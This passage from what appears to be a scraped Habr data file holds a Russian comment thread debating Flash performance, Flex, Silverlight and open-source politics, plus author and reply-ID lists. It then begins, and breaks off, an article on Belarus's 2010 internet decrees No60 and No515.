(some of which you don't control) by developers with massively varying skill levels. Now try making it compatible, consistent, and performant across dozens of OSes, browsers, platforms, and devices. And maintain backwards compatibility with the last 9 versions even while your target platforms change... And try to keep up with the demands of one of the most active and vocal developer communities.\nTrust me, it's harder than it sounds (and it sounds pretty damn hard to me).»\nЧерт, это все слишком сложно, чтобы это работало быстро, хорошо и без глюков :)\nЗнаю, что говорю, поскольку сам развиваю Fuzzle CMS (cms для flash-сайтов). Мне поступает уйма предложений по усовершенствованию — одному срочно нужна одна фича, другому — срочно другая + часть меня терзает на тему скорости и совместимости + есть необходимость в развитии модулей + постоянная головная боль на тему совместимости версий.\nТак что я бы скорее сказал, что я удивлен, что Windows и Flash Player вообще работают :))", "Это было к коментарию janvarev и к этим строкам:\n«Во-вторых, ряд фанатов использует на своих сайтах wmode=«transparent», что означает, что анимация флешки должна проигрываться с учетом слоев браузера (и его фона, кстати). Представляете, какая это нагрузка на систему рендеринга? Silverlight, думаю, такого не позволяет — а если бы и позволял, то тормозил бы не хуже. Отрубить это безобразие — и все залетает.»\nСорри забыл вставить в комментарий.", "Ну почему же? Не совсем.\nЯ просто говорю, что среди пользователей Линукса очень много высококвалифицированных разработчиков, если не большинство. И опросы на Хабре показывают, что в усредненной тусовке айтишников будет по крайней мере половина пользователей Линукса (могу даже ссылку на опрос привести).\nПро доли разработчиков на Флексе я просто-напросто не знаю. Флеша в смысле анимации, сами понимаете, быть не может.", "> new Object() и {} как и new Array() и [] — разные объекты\nПросветите, пожалуйста, в чем разница?", ">что среди пользователей Линукса очень много высококвалифицированных разработчиков, если не большинство.\nесли не 99% =)\n>могу даже ссылку на опрос привести\nне нужно, это прекрасно заметно по рейтингам статей, которые я здесь размещаю, и у меня складывается впечатление, что большинство линуксоидов, эдакие паразиты, не дающие развиваться другим. Их цель, найти и уничтожить другие технологии, которые не open source. Не смотря на то, что разрабатываю на php и сревера на linux, я не веду себя, как отморозок и уважаю другие технологии.", "В принципе {} является самым базовым объектом. Если взглянуть на push code как создаются объекты видно разницу, а если судить по ситуации с изменением переменных в цикле — Object более высокоуровневый чем {}. Именно благодаря этому скорость создания {} выше чем у Object.", "Я сейчас активно пользуюсь flash builder 4 beta 2 тот же flex builder 3 только с поддержкой sdk4 и более отзывчивым редактором.", "Про adobe air слышали? фактически так же виртуальная машина но расширена функциями доступа к ресурсам системы. Браузера не требует.", "Спасибо", "Почему же? Вполне нормальная технология, со своими недостатками и преимуществами. То, что вы называете костыльностью, вполне возможно наоборот является попыткой преодолеть недостатки Javascript для создания и поддержки сложных приложений. Т.е. статически типизованная Java проигрывает в гибкости, но позволяет выигрывать в организованности.", "Открою тайну, через некоторое время, я покажу один проект который хоть и не является конкурентом Flex, но позволяет реализовать большую часть его возможностей в маленьких и средних проектах.", "Насчёт тормознутости Flash'а.\nТут кто-то уже говорил про систему частиц в баннере.\nМожно сделать stage.graphics.clear каждый кадр, заново рисовать Sprite'ы и цеплять таймер на каждую частицу. В инете таких примеров миллион.\nА можно использовать bitmapData, lock и copyPixels.\nМежду подходами разница по скорости в десятки раз, только ну кому надо баннер оптимизировать? Работает и ладно. Да и не знают в большинстве случаев об этом. Даже о cacheAsBitmap не знают.\nТак что тормоза эти за счёт лени и кривых рук. Ну и отчасти заказчиков которые хотят чтоб реклама вся светилась и вращалась.\nMachinarium разве тормозит? )", "Вы просто по-разному округлили цифру 89,26500529874242 %.", "Мне понравились риторические вопросы в статье:-)\n«Почему все приложение на flash такие тяжелые?». То есть автор не спрашивает на самом деле, а утверждает, что ВСЕ, ТЯЖЕЛЫЕ. Здесь автору стоит знать, что откомпилированный swf файл имеет размер, сравнимый а вероятно даже МЕНЬШИЙ, чем тот-же объем кода на javascript в UTF-8. Готов доказать.\nДалее интереснее.\nПочему все так жутко тормозит и глючит, баннеры отжирают по 90% CPU?\nНикто не интерисуется, просто скромно утверждается что ВСЕ, ТОРМОЗИТ!\nНа самом деле все просто. Возьмите любой тормозящий банер на flash... и сделаете его на javascript или на html 5 или на чем-то, что поддерживается 95% пользователей. Элементарно. Расскажите о результатах.\nДалее нет времени разбирать, но здравомыслящий читатель и так все поймет.\nРезюмируя — статья не объективна. Говоря другими словами — заведомо написана с целью очернения flash.", "> Здесь автору стоит знать, что откомпилированный swf файл имеет размер...\nАвтор прекрасно знает про байткоди про LZW компрессию.\nСтатья бъективна чуть менее чем полностью. Я flash разработчик уже более 6 лет и в общем пишу до сих пор. Я писал ответы на распространенные вопросы, обычных пользователей, о чем говорил выше в комментариях. И почитайте мои комментарии, вы поймете в чем суть статьи ну и возможно разубедитесь в том что я мало знаю о flash.", "Почему вы называете XAML костыльным?", "Знаете — совсем не хочется пробовать. Это всё равно имплантанты, которые были придуманы из-за браузерных тормозов. Сейчас всё вроде налаживается — новые технологии, API и всё нативно, безо всяких машин и дырок в безопасности.", "«Отморозок»? Open source?\nА что, кому-то хуже стало от появления на рынке открытых технологий? вот вам?", "Поскольку мои утверждения указывают на необъективность статьи, предлагаю вам их опровергнуть.", "Нет, это отлично, но это не значит, что open source должно заменить все, что и пропагандируют многие «спецы». Всему свое место, и без денег даже open source загнется, потому что в многие проекты вкладывают деньги корпорации.", "Какой s переменной?", "Насчет тормозов Мака и Линукса — думаю, виноваты разработчики этих систем. Вместо того, чтобы дать нормальные интерфейсы для вывода видео/аудио (типа DirectX), они понаставили всяких X-серверов, OpenGL, все это сложно, постоянно меняются спецификации, я вообще удивлен что в Линуксе работает звук и видео.\nА вообще, по-хорошему, мультимедиа-программы должны иметь максимально прямой доступ к железу, чтобы все данные шли напрямик, без лишних переключений контекста и копирований данных (ибо копирование областей памяти — одна из самых неэффективных операций, никакие кеши не спасают, жаль разработчики меня не слышат).", "На недавней презентации Джобс сказал что из аппстора загрузили 3 миллиарда приложений.\nОк, если 10% из них были платными, итого 300 миллионов платных приложений. При минимальной цене в .99$ (а средняя значительно выше), это вполне прилично.", "Не след виндо-троллям про другие системы квакать...", "Чувствую разработчики RuTube-плеера «выгребут» от руководства :-)", "> К тому же их развитие в компании Adobe остановилось еще во времена CS2.\nАсь?\nВо времена CS2 известная киргизская строительная контора еще не успела захавать макромедию.\nКорректнее было бы «во времена Studio 8» :)", "со всем готов смирится, кроме одного. Не знаю как у кого, но даже самая последняя версия флеш-плеера не позволяет вводить utf-8 символы (у меня убунту 9.10)", "вы, по ходу, не «железячник» раз закидываете такими кричащими тезисами)) Сделайте напрямую.", "Нет, не правильно. Но теперь as3 из проекта от Flash Prof. CS5 можно будет редактировать и пр. во Flash Builder IDE. А потом передавать команду на запуск во Flash Prof.", "Так же, как VS -> Expression Studio, и обратно? Спасибо, буду знать!", "На хабре покажите? Или как отследить публичный показ?", "Тут все просто. Автор недавно попробовал QML, в котором есть динамика в виде аналога jscript, и теперь на HTML смотрит ~~как на г#вно~~ критически :)", "Ни разу не сталкивался с VS, посему не в курсе. Подробнее о чем я говорил тут (видео с Adobe Max 2009)", "Ну чего-чего, а динамики в XAMLе с C# хватает.\nИли я не так понимаю вашу «динамику»?", "Или это прикол такой прямо в разметке страницы код монстрячить? Аля PHP", "Чью «вашу»? Вы нас не путаете?", "Понятия не имею. Попробуйте спросить у Gorthauer87. Насколько я видел, там (QML) так и пишется", "Абсолютно беспонтовая статья.\n> В этой статье я бы хотел рассказать от технологии flash со стороны разработчика и рассказать что, почему и как.\nКак flash-разработчик прокомментирую — раскрыть тему даже не попытались.\nИ да, так почему же, все-таки, банеры тормозят?\nПотому, что там инструкция на единственной рисованной кнопке (не компоненте) on (release) { getURL('habr.ru'); } написана с использованием AS2?", "Аж зачитался.", "Flash IMHO самая open-source-developer-friendly среда.\nТут смотрел на последний проект — шесть! open-source компонент. Причём вставка их — скачал, добавил, вызвал, profit. Никаких тебе рысканий по инету потому как «используется curl, а для него надо это, а для этого надо это...»\nНасчёт среды разработки — flex/flash builder == visual studio + visual assist\nДа и вообще, в повседневной работе стало проще на flash/flex'е написать что-то чем тащить Qt или там VS", "flash block и есть костыль.", ">\n>\n> Тут вроде бы все ясно, должно быть:\n>\n> a 2\n> b 1\n> с 1\n>\nНе могли бы вы мне пояснить, пожалуйста, почему в output'e вы ожидаете именно a=2, b=1, c=1 а не a=1, b=1, c=1?\nМне кажется, что должны отобразиться только старые значения свойств «p»(trace выполняется раньше p[prop] =2)?\nА новые значения (a=2, b=2, c=2), мы сможем увидеть только при повторном переборе.", "> мультимедиа-программы должны иметь максимально прямой доступ к железу, чтобы все данные шли напрямик, без лишних переключений контекста и копирований данных (ибо копирование областей памяти — одна из самых неэффективных операций, никакие кеши не спасают,\nВы о чем вообще?.. Максимально прямой доступ хотите, ну так подумайте сперва как потоки будут смешиваться, когда например вы будите слушать музыку (медиа-плейер захватил аудио-железку всецело и выжимает «все частоты», дабы вы смогли насладиться великолепным качеством звучания) и тут вдруг аська захочет обратить на себя внимание. Музыка стоп, проигрывается звук аськи, затем музыка играет дальше. Вы точно этого хотите?\nПодумайте зачем придумали ALSA, если есть OSS.\nЧтобы вас услышали разработчики, пишите им на e-mail а не на хабре воздух сотрясайте.", "типа без флеша сообщение другому окну не послать? х)))", "В 99% времени у меня играет один поток :) А если появляется какой-то другой звук, пакеты данных должны конечно перенаправляться в микшер, а после его завершения (другого звука) — снова идти напрямик. Появляется небольшая задержка — не ее можно обойти размером пакета в 1/20 секунды например, а чтобы программу не дергать 20 раз в секунду, она может выставлять очередь из нескольких пакетов сразу.\nТо есть когда источник один, звуковая карта читает память процесса, а когда несколько — пакеты из памяти процесса читает микшер. Просто, согласитесь?\n> зачем придумали ALSA, если есть OSS.\nПонятия не имею. Слышал, что с обеими библиотеками есть заморочки.", "согласен", "Нет, не поэтому. А потому, что векторная анимация не слабо так жрёт процессор. А вылизывать и оптимизировать нечто стоимостью 50-100$ будут не все и не всегда. Да к тому же оптимизировать надо ещё и по весу, а оптимизация по весу и размеру процессы не всегда однонаправленные, часто совсем наоборот.", "Для большинства независимых разработчиков ЖИЗНЕННО важно, чтобы давление open sources изменило общую ситуацию в сторону большего, а лучше подавляющего применения открытых бесплатных стандартов и открытых исходников.\nС компаниями-гигантомонополистами это плохо совместимо.", "Хм, вы хотите писать сервисы и т.п., чтобы зарабатывать, но делится куском пирога не хотите?", "Покажу. Ну и некоторую предрелизную информацию буду выкладывать в твиттер.", "Я хочу как раз за то, чтобы делиться, но не на тех условиях, которые так любят монополисты.\nПока ситуация сильно перекошена в их сторону.", "Языки программирования высокого уровня — костыльны. Они лишь позволяют не знающему ассемблер программисту быстренько что-то наклепать, не залезая в ассемблер и тонкости аппаратной реализации.", "Сори, да моя ошибка. Там изначально было вместо p[prop] — p[«a»], просто забыл изменить.", "Я не против, но чуточку выше, я описал отношения oo разработчиков и линуксоидов к другим технологиям, они пытаются заткнуть рот людям, которые пишут о .net, какой бы она не была. У нас же нет мании загонять в минуса топики про php, python и т.п. Думаю не нужно еще раз писать, как это характеризует их.", "Вернул исходный код.", "трололо.\nГде вы в Макоси X-сервер нашли (не, он там конечно есть, но не является основой графической системы и вообще является просто userspace-приложением)? В макоси есть Quartz Extreme — аппаратное ускорение графики, и оно прекрасно работает.\nА вот флеш почему-то тормозит лол.\nА линуксу конечно есть куда расти в плане скорости работы гуя и графики в целом, но все уже не так плохо :)", "вы, мягко говоря, не правы. «Эти фичи», т.е. программный скиннинг доступны и в 3-й версии SDK. Просто там они реализованы через одно место. И не путайте флеш билдер с flex sdk. Использовать 4-ю версию sdk можно и в старом билдере.\nМы в работе используем бету 4-го sdk с лета прошлого года, полет нормальный.", "А Вы никогда не думали, что минусуют именно мнение, которое Вы высказываете, а не личность или технологию?\nВот Вы например пишете:\n> Нет, это отлично, но это не значит, что open source должно заменить все, что и пропагандируют многие «спецы». Всему свое место, и без денег даже open source загнется, потому что в многие проекты вкладывают деньги корпорации.\nВо первых — пренебрежительное отношение к противоположной стороне.\nВо-вторых путаница (или сознательная подмена) понятий.\nВ чем подмена? В том, что опен-сорс вовсе на значит «без денег», или «не корпорации».\nОпен сорс значит, что должны быть доступны исходники распространяемого/продаваемого продукта. Причем совершенно необязательно под GPL или BSD или другой свободной лицензией.\nМногие же закрытые же продукты (противоположность опен сорс) сегодня распространяются на совершенно бандитских основаниях.\nМало того, что заплативший за них очень серьезные деньги фактически получает их на условиях близких к аренде, а не в собственность, но во многих случаях даже подсмотреть как оно работает нельзя (реверс инжинеринг).", ">А Вы никогда не думали, что минусуют именно мнение, которое Вы высказываете, а не личность или технологию?\nЯ еще раз повторюсь, минусование идет на уровне статей и переводов, где раскрываются только технические детали технологии и нет ни слова о сравнениях или других технологиях.\n>Во-вторых путаница (или сознательная подмена) понятий.\nИ так везде, все мы начинаем говорить об одном, а заканчиваем другим. То линуксоиды выступают в роли пользователей и тут же требуют для себя инструменты разработчиков и т.п. И так смысл каждого сообщения перетекает из одного в другое сотни раз. Вот и мы с вами не поняли друг друга. Я говорю в первую очередь за толерантность между приверженцах разных технологий. На данный момент, рассказывать на хабре о microsoft технологиях почти не возможно. И разницы нет открытые или закрытые. Мы просто говорим, что нового появилось, как реализовать определенный алгоритм. И все равно идут минуса, и вы знаете прекрасно с какой стороны. Но оснований для этого я не вижу, ведь если не нравится не читай/используй.\nЯ с вами согласен, что разработчики должны давить на гигантов, для рыскрытия кодов. Но не на своих собратьев, которые используют данные продукт у себя в разработках.", "Ясно. Спасибо большое", "Проблема, не с нами, проблема с Вашими технологиями. Они при распространении стремятся убить всех, до кого дотягиваются руки. Поэтому и неприязнь.\nА линуксоиды, они и пользователи и разработчики. Что тут удивительного?\nДа еще и привыкли к тому, что вся тулчейн открыта и доступна.", "Деньги правят миром, что-то я не вижу достойного сопротивления apple технологиям, ObjectC, ихней закрытости, побились в закрытые двери и все, сказала apple нет flash, и никого не..., вот так :)\nКаждый выбирает то, что ему нравится, вы пытаетесь навязать свое, ms свое. Я с успехом применяю технологии обеих компаний. И прошу не Вы-кать, технология не моя, она мне просто нравится, как и RoR и Python, но не прыгать же туда сюда. Тут конечно вы скажите, что МС убивает и их, создав IronRuby и IronPython.\nВ общем я думал, что вы скажете вне что-то новое, а вы оказывается из тех минусующих.\nЯ уважаю все стороны, вы нет, и тут я красноречиво говорю -«так кто же из нас проявляет неуважение»? ;)\nДавай-те завершим наш диалог, вы мне напоминаете Столлмана, а ему что не скажешь, он все в штыки. Кто из нас не прав рассудит история и опыт.", "Я в штыки? Просто у меня есть определенная позиция.\nТак же как и у Столлмана.\nДело не в технологиях, дело в способе их распространения и в каком мире будем жить.", "Митинговать против закрытого ПО, MS, Apple, ничего не даст, это больше для показухи. Почему нет конструктивных предложений. Давайте представим разработчика, как наркомана, к нему приходит диллер и подсаживает, постоянно дают новое, улучшенное. Чуть позже, приходит другой диллер и говорит, пошли ко мне, у меня лучше, у меня даже бесплатно. Человек попробовал — не понравилось. Второй дилер начал устраивать забастовки, кричать что первый его обманывает.\nПочему вы не направите свои усилия в пропагандирование технологий? Почему на хабре редко появляются интересные статьи о PHP, почему PHP развивается ужасно медленно? Потому что все сидят и тихо кодят, и иногда выходят помитинговать. Кто будет рассказывать новым программерам о технологиях — никто. Где бесплатные IDE под PHP, где хоть одна нормальная платная?\nДа, возможно для вас покажутся 3 года опыта не большим сроком, но за это время, я не нашел хорошей IDE, не монстров ZendEclipse,Aptana, PDT, а нормальных — платно/бесплатных, которые бы сравнились с Visual Studio. ZendDebuger с завидным постоянством перестает работать даже с родной ZendEclipse(он 5 минут назад работал), вы скажете кривые руки? Возможно, я выкручусь, но представьте тоску начинающего. Он подумает «зачем мне все это?». Netbeans хорошая штука, но не хватает ее мне, WebIDE понравилась, но XDebug никак не хочет с ней в тандеме работать, ладно кривые руки, а так хочется одну галочку поставить и чтобы хоть это заработало, а нет, простых путей- нет.", "> Почему нет конструктивных предложений.\nКонструктив может быть такой например, как должен выпускать Майкрософт, или Эппл свои продукты, чтобы мы сказали: Ну все, теперь он гладкий и пушистый.\nНасчет IDE пропускаю, раз нет, значит не нужно. Лично я IDE не пользуюсь.", ">раз нет, значит не нужно\nпоработайте с Magento, 35000 файлов, mc вам в помощь.", "Глянул из любопытства простенький свой проект на Django — 7500 файлов. И вроде никаких затруднений. Правда я в MC редко вылажу, в основном в emacs сижу.\nА чем Вам IDE помогает разруливать 35000 файлов?\nКак по мне если есть порядок, то легко, а если бардак, то никакой IDE не поможет.", "Конечно, он там есть (не линуксовый X-сервер конечно, а похожая штука, только еще и поддерживающая PDF), как оно по вашему окошки рисует? Что вы несете?\ndeveloper.apple.com/graphicsimaging/overview.html почитайте.", "UFO just landed and posted this here", "вот это верно, главное порядок и четкая иерархия", "За 9 лет в интернете ни разу такого окошка не видел.", "Пишу gwt-апликации в Идее. Пишу flex-апликации в Идее. На собственном опыте могу сказать, что деббагер для флекса такой же как и деббагер для gwt. ;) — отсюда вывод — дебагер зависит не от технологии, а от IDE\nПо сути вопроса скажу, что одно и тоже задание для флекса пишется как минимум раза в два быстрей, чем на gwt. Почему? Не знаю. Быть может, потому, что на флексе больше компонентов (про всякие smartgwt, gwt-ext и прочие знаю). Меньше кода. Проще отлаживать. Да и работает во флекс-апп всё быстрей. Для примера: нужно было сделать дерево в которое по кликам на узлах будут подгружаться данные (страны в них области и в них города — всего 12500 элементов). Так вот в gwt перепробовал все имеющиеся деревья и все они дохли где-то на 800-1000 элементах. Во флексе, даже стандартное дерево легко загрузило и отобразило все элементы. Скажу больше. Только лишь флекс поддерживает amf. В моём примере с деревом, все 12500 элементов загружались в этом формате за 1,5 сек. То есть как бы отпала необходимость в асинхронной подгрузке...\nДумаю, если поразмышлять, найдутся ещё множество плюсов флекса по сравнению с жвт. Кроме одного — если не стоит плейер, то gwt рулит :)", "Скорее всего так оно и есть. Иначе как объяснить то, что яблочники не пускают адобов, чтобы те смогли доработать плейер под маки?\nПро айфоны/афпады вообще молчу. Конечно, намного проще обвинить кого-то в косяках, чем признать истинную причину.", "Вы были правы. Прошло 3 года. Никто даже и не думает ставить SL :)", "Данный факт не сделал SL плохой технологией, дальше просто бизнес." ], "author": [ "Евгений (jeje)", "Евгений (jeje)", "Илья (unicast)", "Илясов Андрей (baxtep2)", "Alex (Rejin686)", "Andy One (SilenceAndy)", "Andy One (SilenceAndy)", "Евгений (jeje)", "Илья (unicast)", "Алексей Сидоров (Gorthauer87)", "Алексей Резванов (macster)", "Кирилл Пименов (kirushik)", "biduin (biduin)", "Алексей Сидоров (Gorthauer87)", "Илья (unicast)", "Илясов Андрей (baxtep2)", "Илясов Андрей (baxtep2)", "Илясов Андрей (baxtep2)", "Maxim Firsov (FirsofMaxim)", "Andy One (SilenceAndy)", "Lite (Lite)", "ekzo", "Кирилл Пименов (kirushik)", "{}", "Сергей (Woof)", "Евгений (jeje)", "Сергей Плаксиенко (the_toon)", "Andy One (SilenceAndy)", "Евгений (jeje)", "Евгений Лисицкий (el777)", "ProtoPlex (ProtoPlex)", "Andy One (SilenceAndy)", "Вадим Макеев (pepelsbey)", "Михаил (overbeat)", "Dmitry (jonie)", "{}", "Евгений (jeje)", "Евгений (jeje)", "Andy One (SilenceAndy)", "Dmitry (jonie)", "Кирилл Пименов (kirushik)", "Вадим (Ninib)", "Andy One (SilenceAndy)", "Евгений (jeje)", "Вадим (Ninib)", "Alexey (classx)", "runk (runk)", "Евгений (jeje)", "gribozavr (gribozavr)", "Andy One (SilenceAndy)", "Lite (Lite)", "forgotten", "romx (romx)", "{}", "Дулин Марат (mdevils)", "Дулин Марат (mdevils)", "forgotten", "Евгений (jeje)", "IT-диктатор (sse)", "Alexey (classx)", "FFire (FFire)", "Andy One (SilenceAndy)", "IT-диктатор (sse)", "Кирилл Пименов (kirushik)", "Fushigi (Fushigi)", "sonicse (Sonic_SE)", "Георгий Могелашвили (glamcoder)", "Fushigi (Fushigi)", "Andy One (SilenceAndy)", "Дулин Марат (mdevils)", "forgotten", "Евгений (jeje)", "Lite (Lite)", "Lite (Lite)", "Andy One (SilenceAndy)", "Артем (riamaster)", "licvidator (licvidator)", "Владимир Казанов (VlK)", "{}", "FFire (FFire)", "forgotten", "forgotten", "Владимир Казанов (VlK)", "Сергей Мартынов (smart)", "FFire (FFire)", "Кирилл Пименов (kirushik)", "Lite (Lite)", "Lite (Lite)", "Lite (Lite)", "Andy One (SilenceAndy)", "Shedar (Shedar)", "IT-диктатор (sse)", "Кирилл Пименов (kirushik)", "IT-диктатор (sse)", "Shedar (Shedar)", "Дмитрий (FireStorm)", "Lite (Lite)", "Алексей Прескенис (paz)", "Валентин Владимирович (valyard)", "Shedar (Shedar)", "Shedar (Shedar)", "Акжан (akzhan)", "Акжан (akzhan)", "Юра (kenshin)", "Дмитрий (diomas)", "Валентин Владимирович (valyard)", "DaFive (DaFive)", "Антон Напольский (Napolsky)", "IT-диктатор (sse)", "Andy One (SilenceAndy)", "Дмитрий (diomas)", "{}", "RussianNeuroMancer", "Евгений Лисицкий (el777)", "Вадим Макеев (pepelsbey)", "Shedar (Shedar)", "DaFive (DaFive)", "DaFive (DaFive)", "Михаил (overbeat)", "licvidator (licvidator)", "IT-диктатор (sse)", "mono2k (mono2k)", "IT-диктатор (sse)", "Январев Владислав (janvarev)", "Акжан (akzhan)", "Hanhe", "Shedar (Shedar)", "RussianNeuroMancer", "Andy One (SilenceAndy)", "IT-диктатор (sse)", "{}", "Михаил (overbeat)", "Andy One (SilenceAndy)", "mono2k (mono2k)", "mono2k (mono2k)", "Евгений (jeje)", "DaFive (DaFive)", "Кирилл Пименов (kirushik)", "Andy One (SilenceAndy)", "DaFive (DaFive)", "Владимир Казанов (VlK)", "Евгений (jeje)", "DaFive (DaFive)", "Евгений (jeje)", "{}", "Январев Владислав (janvarev)", "Andy One (SilenceAndy)", "Andy One (SilenceAndy)", "Andy One (SilenceAndy)", "{}", "DaFive (DaFive)", "DaFive (DaFive)", "Andy One (SilenceAndy)", "Andy One (SilenceAndy)", "Lex Lavnikov (LexL)", "{}", "Andy One (SilenceAndy)", "DaFive (DaFive)", "Январев Владислав (janvarev)", "Алексей Сидоров (Gorthauer87)", "Владимир Казанов (VlK)", "Алексей Сидоров (Gorthauer87)", "Евгений (jeje)", "Andy One (SilenceAndy)", "Алексей Сидоров (Gorthauer87)", "Andy One (SilenceAndy)", "Lex Lavnikov (LexL)", "Краковецкий Александр (sashaeve)", "Andy One (SilenceAndy)", "mono2k (mono2k)", "Владимир Казанов (VlK)", "gaploid (gaploid)", "Евгений (jeje)", "Andy One (SilenceAndy)", "{}", "Январев Владислав (janvarev)", "gaploid (gaploid)", "Владимир Казанов (VlK)", "Руслан Лобачев (russlobachev)", "Евгений (jeje)", "Andy One (SilenceAndy)", "Владимир Абрамов (kivsiak)", "Владимир Абрамов (kivsiak)", "Руслан Лобачев (russlobachev)", "Lite (Lite)", "Andy One (SilenceAndy)", "Павел (Tar)", "Александр Качкаев (kachkaev)", "Дмитрий (lsdima)", "Andy One (SilenceAndy)", "Николай Воробьев (Kano)", "Вадим Макеев (pepelsbey)", "Владимир Казанов (VlK)", "Дмитрий (lsdima)", "Евгений (jeje)", "Лёня Николаев (leonard)", "egorinsk (egorinsk)", "agnostik (agnostik)", "AlexcYeCu", "Dmitry Risovany (Troppus)", "Proxmiff (Proxmiff)", "romy4 (romy4)", "romy4 (romy4)", "Mr. Skam (mrskam)", "IT-диктатор (sse)", "Mr. Skam (mrskam)", "IT-диктатор (sse)", "Mr. Skam (mrskam)", "Lex Lavnikov (LexL)", "Lex Lavnikov (LexL)", "IT-диктатор (sse)", "IT-диктатор (sse)", "dpritula (dpritula)", "Leency (Leency)", "Павел (Tar)", "oWeRQ (oWeRQ)", "JVasya (JVasya)", "Nebulosa (Nebulosa)", "​Василий Пупкинъ (tenshi)", "egorinsk (egorinsk)", "Илясов Андрей (baxtep2)", "AlexcYeCu", "Евгений Казанов (evgenyk)", "Евгений (jeje)", "Andy One (SilenceAndy)", "Евгений Казанов (evgenyk)", "Николай (corristo)", "Andy One (SilenceAndy)", "Евгений (jeje)", "Andy One (SilenceAndy)", "Николай (corristo)", "mono2k (mono2k)", "Евгений Казанов (evgenyk)", "Евгений (jeje)", "Mr. Skam (mrskam)", "Евгений Казанов (evgenyk)", "Евгений (jeje)", "Евгений Казанов (evgenyk)", "Евгений (jeje)", "Евгений Казанов (evgenyk)", "Евгений (jeje)", "Евгений Казанов (evgenyk)", "egorinsk (egorinsk)", "{}", "kovyrlo", "Дулин Марат (mdevils)", "Alexander (greendog)", "Alexander (greendog)", "Дмитрий (dmbreaker)", "Евгений (jeje)" ], "children": [ [ 2475813 ], [ 2475836 ], [ 2475822, 2475896 ], [ 2475860, 2475902 ], [ 2475842 ], [ 2475853, 2476121, 2476127 ], [], [ 2475925, 2475963, 2476159 ], [ 2475917 ], [ 2475909 ], [], [ 2475935, 2475978 ], [ 2475912 ], [ 2476051, 2476074 ], [ 2475919 ], [], [ 2478832 ], [], [ 2476009, 2476020, 2476803 ], [ 2475969, 2475993 ], [ 2475962, 2476955 ], [], [ 2476047 ], [ 2475979 ], [], [ 2475987 ], [ 2497411 ], [ 2476013 ], [ 2475995 ], [ 2476258, 2477383 ], [], [ 2475997 ], [ 2476106, 2476158 ], [ 2476460 ], [ 2476263 ], [ 2476006, 2476349, 2478984 ], [ 2476010 ], [ 2476023, 6511246 ], [], [ 2476024, 2476038 ], [ 2476648, 2497351 ], [ 2476028 ], [ 2476035 ], [], [], [ 2476073 ], [ 2476040 ], [ 2476088 ], [], [], [ 2476112 ], [ 2476097 ], [], [ 2476328 ], [ 2476066 ], [ 2476070 ], [ 2476132 ], [ 2476083 ], [], [], [ 2476140 ], [ 2476136, 2476137 ], [ 2476153 ], [ 2476146 ], [ 2476154 ], [ 2476200 ], [], [ 2476238 ], [ 2476166, 2476179 ], [ 2476432 ], [], [ 2476164 ], [ 2476199 ], [], [], [ 2476691 ], [ 2476187, 2476465 ], [ 2476197, 2476362, 2476701 ], [ 2476533 ], [], [], [], [ 2476212, 2476242 ], [ 2476213 ], [], [ 2476210 ], [], [ 2476244 ], [], [], [ 2476246 ], [], [ 2476296 ], [ 2476344 ], [ 2476463 ], [], [], [], [ 2477956 ], [], [ 2476421 ], [ 2476455 ], [ 2476891 ], [], [], [], [ 2476422 ], [ 2477463 ], [ 2476467 ], [ 2476470 ], [ 2485172 ], [ 2476525 ], [ 2476491 ], [], [ 2476505, 2476513 ], [ 2476507 ], [ 2476473, 2476612 ], [], [ 2476567 ], [], [ 2476552 ], [ 2478141 ], [ 2477756 ], [ 2476584, 2477079 ], [], [ 2476593 ], [ 2476590 ], [ 2476601 ], [ 2476826 ], [ 2477356, 2478476 ], [], [], [ 2476704 ], [ 2476735 ], [], [ 2476775 ], [ 2476740 ], [ 2477051 ], [ 2476773 ], [ 2476836 ], [ 2476789, 2476810 ], [], [], [ 2476952 ], [ 2476866 ], [ 2476858 ], [ 2476879, 2477262 ], [ 2476943 ], [ 2476874 ], [ 2476883 ], [ 2476882 ], [ 2476886 ], [ 2476901 ], [ 2476930 ], [ 2476946 ], [ 2476904 ], [], [ 2476972 ], [ 2477000 ], [ 2477010, 2477687 ], [ 2476962 ], [ 2477419, 2479483 ], [ 2477071 ], [], [], [ 2477110 ], [], [ 2477046 ], [], [ 2477103 ], [ 2477087 ], [ 2477092 ], [ 2477204 ], [ 2477113 ], [ 2479612 ], [ 2477422 ], [], [ 2477303 ], [ 2477347 ], [ 2477851 ], [ 2477404 ], [], [], [], [], [ 2478489 ], [], [], [ 2477661 ], [ 2477864 ], [ 2478492 ], [], [ 2477932 ], [], [ 2479322 ], [], [ 2478171, 2478452, 2478975, 2479552 ], [], [], [], [], [], [], [ 2478483 ], [ 2478497 ], [ 2479477 ], [ 2478504, 2478508 ], [], [ 2478537 ], [ 2478540 ], [], [], [ 2479123 ], [], [], [ 2479056 ], [ 2479485, 2479503 ], [ 2478997 ], [], [], [], [], [ 2479340 ], [ 2479479 ], [ 2479674 ], [ 2479500 ], [], [], [ 2479628 ], [], [ 2481729 ], [ 2482293 ], [ 2479660 ], [ 2479763 ], [], [ 2479830 ], [ 2479895 ], [ 2479943 ], [ 2481029 ], [ 2481128 ], [ 2481221 ], [ 2482960 ], [], [], [], [], [], [], [ 6513032 ], [] ] }
106,367
ru
https://habr.com/ru/post/106367/
Жизнь Байнета сквозь призму указов №60 и №515
В Беларуси 2010 год стал годом изменений в сфере регулирования национального сегмента Интернета. Никогда ранее не выпускалось столько указов и законов, касающихся Байнета. Самыми «громкими» из них стали указы No60 и No515. Как нововведения влияют на жизнь пользователей и игроков рынка? Правовое регулирование Байнета: как было? Влияние изменений законодательства на Байнет стало предметом дискуссии в рамках секции «Правовое поле Байнета. Что нового?» на конференции «Деловой Интернет». Участие в обсуждении приняли представители оперативно-аналитического центра при Президенте (ОАЦ), министерства связи и информатизации, компании «Надежные программы» (портал TUT.by) и интернет-провайдера «Альтернативная цифровая сеть» (бренды «Атлант Телеком» и «Шпаркi Дамавiк»). Вопросы о возможности законодательного регулирования поднимались на «Деловом Интернете» еще два-три года назад. Но, как отмечает Игорь Сукач, директор компании «Альтернативная цифровая сеть», заместитель председателя ассоциации «Белинфоком», тогда никто не мог представить, что это возможно. В то время в Беларуси действовали только законы об электронном документе, об электронной подписи и о банковском праве и смежных правах. Как повлиял на жизнь Байнета указ No60? Указ No60 от 1 февраля 2010 года «О мерах по совершенствованию использования национального сегмента сети Интернет» вступил в силу несколько месяцев назад. И уже можно наблюдать и оценивать, как он меняет сложившиеся в Байнете «правила игры». По словам Игоря Сукача, мнения об этом документе в ассоциации «Белинфоком» сразу были неоднозначными. Но авторы документа при разработке подзаконных актов учли комментарии экспертов и интернет-сообщества и нашли компромиссные решения. В результате, реализация норм закона на практике прошла достаточно гладко. При обсуждении указа No60 законодательные органы продемонстрировали готовность идти на 